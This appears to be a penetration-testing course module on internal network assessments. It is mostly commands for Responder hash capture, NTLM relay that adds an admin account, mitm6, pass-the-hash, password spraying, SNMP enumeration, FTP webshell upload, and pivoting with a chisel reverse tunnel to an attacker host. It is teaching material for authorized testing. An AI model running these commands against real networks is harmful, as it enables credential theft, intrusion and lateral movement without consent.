Infrastructure Pentesting
Why This Matters
Internal infrastructure assessments are where the most damaging real-world attacks happen. Ransomware groups don't exploit zero-days โ they abuse Responder, credential reuse, unpatched systems, and weak AD configurations. Understanding this attack chain is what the IPT module of VAPT is about.
Internal Network Reconnaissance
Starting position: you have network access (simulating a compromised workstation or contractor access).
Initial Host Discovery
# ARP scan โ fastest, most reliable on local LAN
arp-scan -l # Local network
arp-scan 192.168.1.0/24
# Nmap ping sweep
nmap -sn 192.168.0.0/16 -oA hosts # /16 for larger internal ranges
nmap -sn 10.0.0.0/8 --min-rate 5000 # /8 for large class A (slow even with min-rate)
# Masscan โ very fast, useful for large networks
masscan 10.0.0.0/8 -p80,443,445,3389,22 --rate=10000
# Responder passive mode โ listen for NBT-NS/LLMNR broadcasts without poisoning
responder -I eth0 -A # -A = analyze mode (no poisoning)
# Reveals hostnames, IPs, and authentication attempts organically
Network Topology Mapping
# Traceroute to understand routing
traceroute 10.10.10.1
tracepath 10.10.10.1
# Identify routers and gateways
ip route # Linux routing table
route print # Windows routing table
arp -a # ARP cache โ recently contacted hosts
# Find domain controllers (critical targets)
nmap -p 88,389,636,3268,3269 192.168.1.0/24 # Kerberos, LDAP, Global Catalog
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local # DNS SRV record for DCs
nmap --script=dns-srv-enum --script-args="dns-srv-enum.domain='corp.local'"
# Identify key infrastructure
# Port 88 = Kerberos โ Domain Controller
# Port 389 = LDAP โ Domain Controller or LDAP server
# Port 445 = SMB โ File servers, DCs, workstations
# Port 1433 = MSSQL โ Database server
# Port 3389 = RDP โ Remote access
# Port 8080/8443 = Web applications
SMB Signing Check
SMB signing prevents relay attacks. Before running Responder, check if SMB signing is enforced:
# Nmap
nmap -p 445 --script smb-security-mode 192.168.1.0/24
# CrackMapExec (shows signing status for all hosts)
cme smb 192.168.1.0/24 | grep -v "SMB signing: True"
# Hosts where signing = False are relay targets
# runfinger.py (impacket)
python3 /usr/share/doc/python3-impacket/examples/runfinger.py -i 192.168.1.0/24
Credential Capture โ Responder
Responder poisons LLMNR, NBT-NS, and mDNS โ Windows protocols that fall back to broadcast when DNS fails. When a Windows host tries to resolve a hostname it can't find in DNS, it broadcasts a request. Responder answers "that's me!" and captures the authentication attempt.
LLMNR/NBT-NS Poisoning
Windows host tries: \\fileserver\share
DNS lookup for "fileserver" fails
โ LLMNR broadcast: "Who has fileserver?"
Responder: "I do! Connect to me."
Windows host tries to authenticate: sends NTLMv2 hash
Responder captures the hash
# Basic Responder (captures hashes)
responder -I eth0
# Responder captures NTLMv2 hashes to:
# /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.1.50.txt
# (one file per source IP)
# Hash format (NTLMv2):
# username::domain:challenge:NTProofStr:blob
# CORP\john::CORP:1122334455667788:abc123...:0101...
# Crack with hashcat
hashcat -m 5600 ntlmv2_hashes.txt /wordlists/rockyou.txt
hashcat -m 5600 ntlmv2_hashes.txt /wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
What Responder Poisons
Responder responds to multiple protocols simultaneously:
-
LLMNR (UDP/5355) โ Link-Local Multicast Name Resolution
-
NBT-NS (UDP/137) โ NetBIOS Name Service
-
mDNS (UDP/5353) โ Multicast DNS
-
MDNS (TCP/5353)
Responder also serves fake servers:
-
SMB server โ captures NTLM authentication
-
HTTP server โ captures NTLM via browser authentication
-
HTTPS server โ with self-signed cert
-
FTP server โ captures cleartext FTP credentials
-
SMTP/IMAP/POP3 โ captures email credentials
-
DNS โ resolves all to attacker
-
DHCP โ rogue DHCP (with -d flag)
Responder Configuration
# /etc/responder/Responder.conf
# Enable/disable specific servers
# Disable SMB and HTTP if you want relay instead of capture:
# For relay (ntlmrelayx): disable SMB and HTTP in Responder
# so the auth is forwarded to relay tool instead of captured
# Common scenario: poison with Responder, relay with ntlmrelayx
# Edit Responder.conf:
SMB = Off # Don't respond to SMB (let ntlmrelayx handle it)
HTTP = Off # Don't respond to HTTP
responder -I eth0 -rdwv # -r = NBNS reg answers, -d = DHCP, -w = wpad proxy
NTLM Relay Attacks
Capturing NTLMv2 hashes requires cracking. Relay attacks use the hash directly โ without cracking โ to authenticate to another system. Much faster and works even against strong passwords.
ntlmrelayx
# Run ntlmrelayx to relay captured authentications to targets
# Target list: hosts where SMB signing is disabled
# Build targets list
cme smb 192.168.1.0/24 --gen-relay-list targets.txt
# Start relay
ntlmrelayx.py -tf targets.txt -smb2support
# When a user authenticates to your Responder:
# โ credentials relayed to all targets in list
# โ if user is local admin on target: you get SAM dump and/or shell
# Relay with command execution
ntlmrelayx.py -tf targets.txt -smb2support -c "net user hacker P@ss123 /add && net localgroup administrators hacker /add"
# Relay to LDAP (for AD modification instead of SMB shell)
ntlmrelayx.py -tf ldap://dc.corp.local -smb2support --no-smb-server \
--delegate-access --escalate-user lowprivuser
# Interactive shell on relay
ntlmrelayx.py -tf targets.txt -smb2support -i
# Then: nc 127.0.0.1 11000 (connects to interactive SMB shell)
WebDAV Relay (From HTTP Auth)
# Trigger HTTP auth (not SMB) โ works even when SMB signing is enforced
# Find a machine running WebClient service (webclient service = HTTP-based relay possible)
cme smb 192.168.1.0/24 -M webdav # Check for WebDAV client
# Coerce auth via various methods to HTTP instead of SMB:
# WebDAV coercion using searchConnector-ms or .library-ms files
# Place file on network share the target accesses
# Relay HTTP auth to LDAP (LDAP doesn't have signing by default)
ntlmrelayx.py -t ldaps://dc.corp.local --no-smb-server --http-port 80 \
--escalate-user lowprivuser --add-computer attacker$ Password123
MITM6 + ntlmrelayx (IPv6 DNS Takeover)
# Most Windows networks have IPv6 enabled but no IPv6 DNS server
# mitm6 becomes the IPv6 DNS server via DHCPv6 and redirects all DNS queries
# Terminal 1: Run mitm6
mitm6 -d corp.local
# Terminal 2: Relay to LDAP/S on DC
ntlmrelayx.py -6 -wh wpad.corp.local -t ldaps://dc.corp.local \
-smb2support --delegate-access
# Windows machines request DHCPv6 โ mitm6 responds โ becomes their DNS
# Windows then requests WPAD config from attacker โ triggers authentication
# ntlmrelayx relays to LDAP โ create computer account or add privileges
Pass-the-Hash (PtH)
After extracting NTLM hashes from SAM or LSASS, use them directly for lateral movement without cracking.
# CrackMapExec โ PtH across the network
cme smb 192.168.1.0/24 -u administrator -H <NTLM_hash> --local-auth
# Shows which hosts the admin hash works on
# Impacket suite โ PtH authentication
# psexec
psexec.py -hashes :NThash CORP/administrator@192.168.1.100
# smbexec
smbexec.py -hashes :NThash CORP/administrator@192.168.1.100
# wmiexec (more stealth โ uses WMI, no service creation)
wmiexec.py -hashes :NThash CORP/administrator@192.168.1.100
# secretsdump (dump hashes from remote machine)
secretsdump.py -hashes :NThash CORP/administrator@192.168.1.100
# Evil-WinRM (PowerShell Remoting with PtH)
evil-winrm -i 192.168.1.100 -u administrator -H NThash
Pivoting โ Network Segmentation Traversal
Once you have a foothold in one network segment, pivoting extends your reach to other segments through the compromised host.
SSH Tunneling
# Local port forward: access internal service through SSH
# "Forward local port 8080 to internal-server:80 through jump-host"
ssh -L 8080:internal-server.corp:80 user@jump-host.corp
# Now: curl http://localhost:8080 reaches internal-server:80
# Remote port forward: expose your listener through SSH to target network
ssh -R 4444:localhost:4444 user@target.corp
# On target network: connections to target.corp:4444 reach your nc listener
# Dynamic (SOCKS proxy): route all traffic through SSH
ssh -D 9050 user@jump-host.corp
# Configure proxychains to use socks5://127.0.0.1:9050
# Now: proxychains nmap -sT 10.10.10.0/24
# All Nmap traffic routed through jump-host
Proxychains Configuration
# /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 9050 # After SSH -D 9050
# Use with tools:
proxychains nmap -sT -p 445,3389,22 10.10.10.0/24
proxychains cme smb 10.10.10.100 -u admin -p 'Password123'
proxychains evil-winrm -i 10.10.10.100 -u admin -p 'Password123'
proxychains msfconsole # Route all MSF connections through pivot
Chisel (HTTP Tunneling)
When SSH is not available, Chisel creates tunnels over HTTP/WebSockets:
# Attacker: run chisel server
chisel server --reverse --port 8080
# Victim: connect back and open SOCKS proxy
chisel.exe client attacker_ip:8080 R:socks
# Now proxychains uses socks5://127.0.0.1:1080 (default chisel reverse SOCKS port)
# Configure proxychains.conf โ socks5 127.0.0.1 1080
proxychains cme smb internal-network-target
Metasploit Pivoting
# After getting a Meterpreter session on pivot host:
meterpreter> run post/multi/manage/autoroute
# Or manually:
msf> route add 10.10.10.0/24 [session_id]
# All MSF modules now route through the pivot session
msf> use auxiliary/scanner/portscan/tcp
msf> set RHOSTS 10.10.10.0/24
msf> run
# SOCKS proxy through Meterpreter
msf> use auxiliary/server/socks_proxy
msf> set SRVPORT 1080
msf> set VERSION 5
msf> run
# Configure proxychains โ socks5 127.0.0.1 1080
Socat Relay
# Forward port on pivot host to internal target
# On pivot host:
socat TCP-LISTEN:8888,fork TCP:internal-server:80
# Connect to pivot:8888 โ reaches internal-server:80
# As background process
socat TCP-LISTEN:8888,fork,reuseaddr TCP:10.10.10.5:80 &
Key Internal Pentest Findings Summary
| Finding | Tool | Impact |
|---|---|---|
| LLMNR/NBT-NS poisoning | Responder | Credential capture |
| SMB relay (signing disabled) | ntlmrelayx | Code execution / lateral movement |
| Weak SMB credentials | CrackMapExec + hydra | Lateral movement |
| Pass-the-Hash | impacket, CrackMapExec | Lateral movement |
| SMB anonymous/null session | smbclient, enum4linux | Info disclosure |
| SNMP default community | snmp-check, onesixtyone | Device info disclosure |
| Default credentials on services | hydra, cme | Access to services |
| Unpatched systems (EternalBlue) | nmap smb-vuln scripts | RCE |
| Cleartext protocols (Telnet, FTP) | Wireshark, Responder | Credential capture |
| Local admin reuse | CrackMapExec | Widespread PtH |
SNMP Exploitation โ In Depth
SNMP (Simple Network Management Protocol) is consistently underestimated in internal assessments. v1 and v2c use cleartext community strings for authentication. Default strings "public" (read) and "private" (read-write) are often unchanged.
What SNMP Reveals
# Full MIB walk โ everything the device exposes
snmpwalk -v2c -c public target 2>/dev/null
# System information (OS, hostname, uptime, contact, location)
snmpwalk -v2c -c public target 1.3.6.1.2.1.1
snmpget -v2c -c public target 1.3.6.1.2.1.1.1.0 # sysDescr โ OS version
snmpget -v2c -c public target 1.3.6.1.2.1.1.5.0 # sysName โ hostname
# Network interfaces and IPs
snmpwalk -v2c -c public target 1.3.6.1.2.1.2 # Interface table
snmpwalk -v2c -c public target 1.3.6.1.2.1.4.20 # IP address table
# This reveals ALL IP addresses configured on the device โ critical for finding hidden interfaces
# Routing table
snmpwalk -v2c -c public target 1.3.6.1.2.1.4.21 # IP route table
# Reveals network topology โ which subnets are reachable from this device
# Running processes (on Windows SNMP agents)
snmpwalk -v2c -c public target 1.3.6.1.2.1.25.4.2 # hrSWRunTable
# Lists all running processes โ reveals software installed and running
# Installed software
snmpwalk -v2c -c public target 1.3.6.1.2.1.25.6.3 # hrSWInstalledTable
# Windows user accounts (with Windows SNMP subagent)
snmpwalk -v2c -c public target 1.3.6.1.4.1.77.1.2.25
# Open TCP connections
snmpwalk -v2c -c public target 1.3.6.1.2.1.6.13 # tcpConnTable
# Network traffic statistics (useful for topology mapping)
snmpwalk -v2c -c public target 1.3.6.1.2.1.2.2.1
Community String Brute Force
# onesixtyone โ fast SNMP community string brute force
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt target
onesixtyone -c community_strings.txt -i target_list.txt
# Nmap NSE scripts
nmap -sU -p 161 --script snmp-brute target
nmap -sU -p 161 --script snmp-brute \
--script-args snmp-brute.communitiesdb=/wordlists/snmp.txt target
# If write community found:
# snmpset โ modify device configuration
# (requires explicit client authorization โ document intent before executing)
snmpset -v2c -c private target OID type value
SNMP Findings in Reports
A device with the "public" community string exposed is typically a High finding:
-
Reveals network topology, IP addresses, routing tables
-
Reveals software inventory (patch management intelligence)
-
Reveals system configuration details useful for targeted exploitation
-
Write community string = potential configuration modification
Internal Network Credential Attacks
Password Spraying โ Full Methodology
Password spraying against Windows networks requires understanding the lockout policy first.
# Step 1: Determine password policy
# Via SMB (no credentials required on many networks)
enum4linux-ng -P dc.corp.local
cme smb dc.corp.local --pass-pol
# Via LDAP (requires credentials)
ldapsearch -x -H ldap://dc.corp.local -b "DC=corp,DC=local" \
"(objectClass=domainPolicy)" | grep -i "lockout"
# Via Kerberos (no credentials, no lockout from observation)
# AS-REQ with wrong password generates event 4771, not 4625
# Not a reliable policy discovery method
# Policy values to note:
# Lockout threshold: e.g., 5 attempts
# Observation window: e.g., 30 minutes (reset counter after this)
# Lockout duration: e.g., 30 minutes
# Step 2: Build target user list
# From SNMP (if available)
snmpwalk -v2c -c public dc.corp.local 1.3.6.1.4.1.77.1.2.25 | \
grep -oP '(?<=STRING: ).*' > users.txt
# From SMB null session
enum4linux-ng -U dc.corp.local 2>/dev/null | grep "username:" | \
awk '{print $2}' > users.txt
# From Kerberos enumeration (no credentials, check for valid usernames)
kerbrute userenum -d corp.local \
/usr/share/seclists/Usernames/Names/names.txt \
--dc dc.corp.local -o valid_users.txt
# From LDAP (with credentials)
ldapsearch -x -H ldap://dc.corp.local \
-D "user@corp.local" -w "password" \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName | \
grep sAMAccountName | awk '{print $2}' > users.txt
# Step 3: Spray โ one password per user, stay under lockout threshold
# Rule: attempt count must stay below lockout threshold across ALL users
# If threshold is 5: maximum 4 attempts per user total, spread over observation windows
# Spray 1 โ common passwords (one attempt per user)
cme smb dc.corp.local -u users.txt -p 'Summer2024!' --continue-on-success
# Wait full observation window before next spray
# Spray 2 โ second password attempt (after observation window resets)
cme smb dc.corp.local -u users.txt -p 'Password123!' --continue-on-success
# Via Kerberos (preferred โ generates different event IDs, less visible)
kerbrute passwordspray -d corp.local users.txt 'Summer2024!' \
--dc dc.corp.local -o spray_results.txt
# Good password candidates for spraying:
# Season+Year+!: Summer2024!, Winter2024!, Spring2024!
# Company+Year: Company2024, Company@2024
# Common: Password1, Welcome1, P@ssw0rd
# Month+Year: January2024, Jan2024!
Credential Reuse Testing
# Once credentials are found, immediately test lateral movement reach
cme smb 192.168.1.0/24 -u found_user -p 'FoundPassword' --continue-on-success
# Test all protocols
cme winrm 192.168.1.0/24 -u found_user -p 'FoundPassword'
cme mssql 192.168.1.0/24 -u found_user -p 'FoundPassword'
# Check local admin hash reuse (after first machine is compromised)
# Dump local admin hashes
secretsdump.py corp.local/found_user:FoundPassword@compromised_host | grep "Administrator"
# Test local admin hash across all hosts
cme smb 192.168.1.0/24 -u "Administrator" -H :LocalAdminNTHash --local-auth \
--continue-on-success
FTP and Legacy Service Exploitation
FTP Detailed Testing
# Anonymous login check
ftp target
> anonymous
> (any email as password)
> ls -la
> get sensitive_file.txt
# Nmap scripts for FTP
nmap --script "ftp-*" -p 21 target
nmap --script ftp-anon -p 21 target # Anonymous check
nmap --script ftp-bounce -p 21 target # FTP bounce attack
nmap --script ftp-proftpd-backdoor -p 21 target # ProFTPD backdoor (CVE-2010-4221)
nmap --script ftp-vsftpd-backdoor -p 21 target # vsftpd 2.3.4 backdoor
# Active vs Passive mode matters for scanning through NAT/firewalls
ftp> passive # Toggle passive mode
ftp> active # Toggle active mode
# FTP writable directories (if write access exists)
ftp> put webshell.php # Upload to web root if FTP serves web directory
ftp> ls
Telnet and Cleartext Protocol Capture
# If Telnet is found (port 23) โ capture credentials with Responder or Wireshark
# Wireshark filter: telnet
# Follow TCP stream to see all cleartext commands
# Similarly for other cleartext protocols:
# FTP credentials: ftp.request.command == "PASS"
# HTTP Basic Auth: http.authorization
# POP3 credentials: pop.request.command == "PASS"
# IMAP: imap contains "login"
Internal Web Applications and Admin Panels
Internal networks often host web applications never hardened for security โ they assume internal access means authorized access.
# Discover internal web servers
nmap -p 80,443,8080,8443,8888,9090,9443,3000,5000 192.168.1.0/24
# Also check non-standard ports from full scan results
# Common internal applications to look for:
# :8080 โ Tomcat manager, Jenkins, JBoss
# :9090 โ Prometheus, CockroachDB admin
# :9200 โ Elasticsearch (often unauthenticated)
# :8888 โ Jupyter Notebook (often unauthenticated!)
# :5601 โ Kibana (sometimes unauthenticated)
# :3000 โ Grafana (default admin:admin)
# :6379 โ Redis CLI accessible via nc
# :27017 โ MongoDB (often unauthenticated in older installations)
# :5432 โ PostgreSQL (check for pg_hba.conf trust authentication)
# :1433 โ MSSQL (check for SA with blank password, xp_cmdshell)
# :8089 โ Splunk management
# :4848 โ GlassFish admin
# :4040 โ Spark UI (job status, sometimes code execution)
# Test each discovered app for:
# Default credentials (admin/admin, admin/password, admin/blank)
# Unauthenticated access
# Version disclosure โ CVE search
# Direct command execution interfaces (Jupyter, Splunk, etc.)
Evidence Collection During Internal Assessments
During an internal engagement, document everything in real time โ don't rely on memory for reports.
# Screenshot tool โ take screenshots with timestamps
import-module /path/to/screenshot.ps1 # PowerShell
scrot -d 0 "screenshot_%Y%m%d_%H%M%S.png" # Linux
# Terminal session logging
script -a session_log.txt # Linux โ logs everything to file
# Stop with: exit
# Network connection logging
ss -tulpn | tee network_state_$(date +%Y%m%d_%H%M%S).txt
# For Metasploit: spool to log file
msfconsole
msf> spool /path/to/engagement_log.txt
# HTTP request/response saving (curl)
curl -v http://target.com 2>&1 | tee http_evidence.txt
# Always save:
# - Command output showing vulnerability exists
# - HTTP request that demonstrates the issue
# - Response showing impact (data extracted, access gained)
# - System information showing which host you're on (whoami, hostname, ipconfig/ifconfig)